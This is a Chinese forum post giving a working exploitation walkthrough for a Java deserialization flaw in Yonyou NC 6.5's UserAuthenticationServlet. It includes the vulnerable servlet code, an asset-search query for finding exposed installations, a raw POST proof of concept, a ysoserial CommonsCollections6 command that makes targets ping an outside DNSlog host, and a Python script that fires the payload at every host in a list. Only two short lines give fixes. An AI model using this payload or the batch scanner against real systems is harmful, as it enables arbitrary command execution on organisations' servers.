找回密码
 立即注册
首页 业界区 安全 漏洞实战--java反序列化--用友NC UserAuthenticationSer ...

漏洞实战--java反序列化--用友NC UserAuthenticationServlet

锦惺 昨天 17:14
本文章仅用于技术学习讨论,严禁漏洞利用违法犯罪行为,违者自行承担法律责任。
漏洞介绍

简介

用友NC系统UserAuthenticationServlet方法存在反序列化漏洞,攻击者可执行任意命令,获取敏感信息。
影响版本

用友NC6.5
原理分析

漏洞位于UserAuthenticationServlet接口处。
关键代码如下:
  1. protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {  
  2.     ObjectInputStream in = new ObjectInputStream((InputStream)request.getInputStream());  
  3.     HashMap<Object, Object> headInfo = new HashMap<>();  
  4.     ObjectOutputStream oos = null;  
  5.     oos = new ObjectOutputStream((OutputStream)response.getOutputStream());  
  6.     HashMap<Object, Object> resultMap = new HashMap<>();  
  7.     try {  
  8.       headInfo = (HashMap<Object, Object>)in.readObject();
复制代码
in.readObject()对输入进行了反序列化。
资产测绘

app="用友-UFIDA-NC"
漏洞利用

利用过程介绍

POC:
  1. POST /servlet/~uapim/nc.bs.pub.im.UserAuthenticationServlet HTTP/1.1
  2. Host: host:port
  3. Accept-Encoding: gzip
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
  5. 反序列化payload
复制代码
反序列化payload可以使用ysoserial生成,也可以用其他工具生成。
ysoserial下载地址:
https://github.com/frohoff/ysoserial/releases/tag/v0.0.6
命令:
  1. java -jar ysoserial-all.jar CommonsCollections6 "ping your_dnslog" > file_name.bin
复制代码
dnslog可使用https://dig.pm/获取域名
使用POC之后检查dnslog平台是否有记录即可。有记录就有漏洞,没有记录就下一个。
python脚本

需要注意的是,扫描出来的result不一定是存在漏洞的。需要在dnslog中找到对应域名的记录。
python批量扫描脚本如下:
  1. import requests
  2. import urllib3
  3. import tldextract
  4. import subprocess
  5. # 关闭 SSL 相关警告
  6. urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
  7. def generate_payload(domain):
  8.     """
  9.     调用 ysoserial 动态生成 payload
  10.     """
  11.     try:
  12.         result = subprocess.run(
  13.             ["java", "-jar", "/your_path/ysoserial-all.jar", "CommonsCollections6", f"ping {domain}.your_dnslog"],
  14.             capture_output=True,
  15.             check=True
  16.         )
  17.         return result.stdout  # bytes
  18.     except subprocess.CalledProcessError as e:
  19.         print(f"[!] ysoserial 生成失败: {e}")
  20.         return None
  21. def get_root_domain(url):
  22.     extracted = tldextract.extract(url)
  23.     return f"{extracted.domain}.{extracted.suffix}"
  24. def verify_injection(base_url, output_file):
  25.     poc = "/servlet/~uapim/nc.bs.pub.im.UserAuthenticationServlet"   # 示例 POC,请根据实际情况修改
  26.     url = base_url.rstrip("/") + poc
  27.     # 提取主域名
  28.     root_domain = get_root_domain(base_url)
  29.     post_data = generate_payload(root_domain)
  30.     headers = {
  31.         "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36"
  32.     }
  33.     try:
  34.         response = requests.post(url, data=post_data,timeout=5, verify=False, headers=headers)
  35.         if response.status_code == 200:
  36.             result = f"{url}"
  37.             print(f"[+] Possible injection at {url}")
  38.             with open(output_file, "a", encoding="utf-8") as fff:
  39.                 fff.write(result + "\n")
  40.     except requests.RequestException as e:
  41.         pass
  42.         # print(f"[!] Error requesting {base_url}: {e}")
  43. if __name__ == "__main__":
  44.     output_file = "result.txt"
  45.     # 从 hosts.txt 逐行读取目标
  46.     with open("hosts.txt", "r", encoding="utf-8") as f:
  47.         hosts = [line.strip() for line in f if line.strip()]
  48.     total = len(hosts)
  49.     for i, host in enumerate(hosts, start=1):
  50.         if i%20==0:
  51.             print(f"[{i}/{total}] Scanning {host} ...")
  52.         verify_injection(host, output_file)
复制代码
实战结果

可以看到dnslog中出现了对应域名的记录。证明存在java反序列化漏洞。
1.png

修复方法

1.安装用友NC最新的补丁。使用其他版本的用友NC。
2.对接口添加身份验证并。
结果展示

2.png


来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册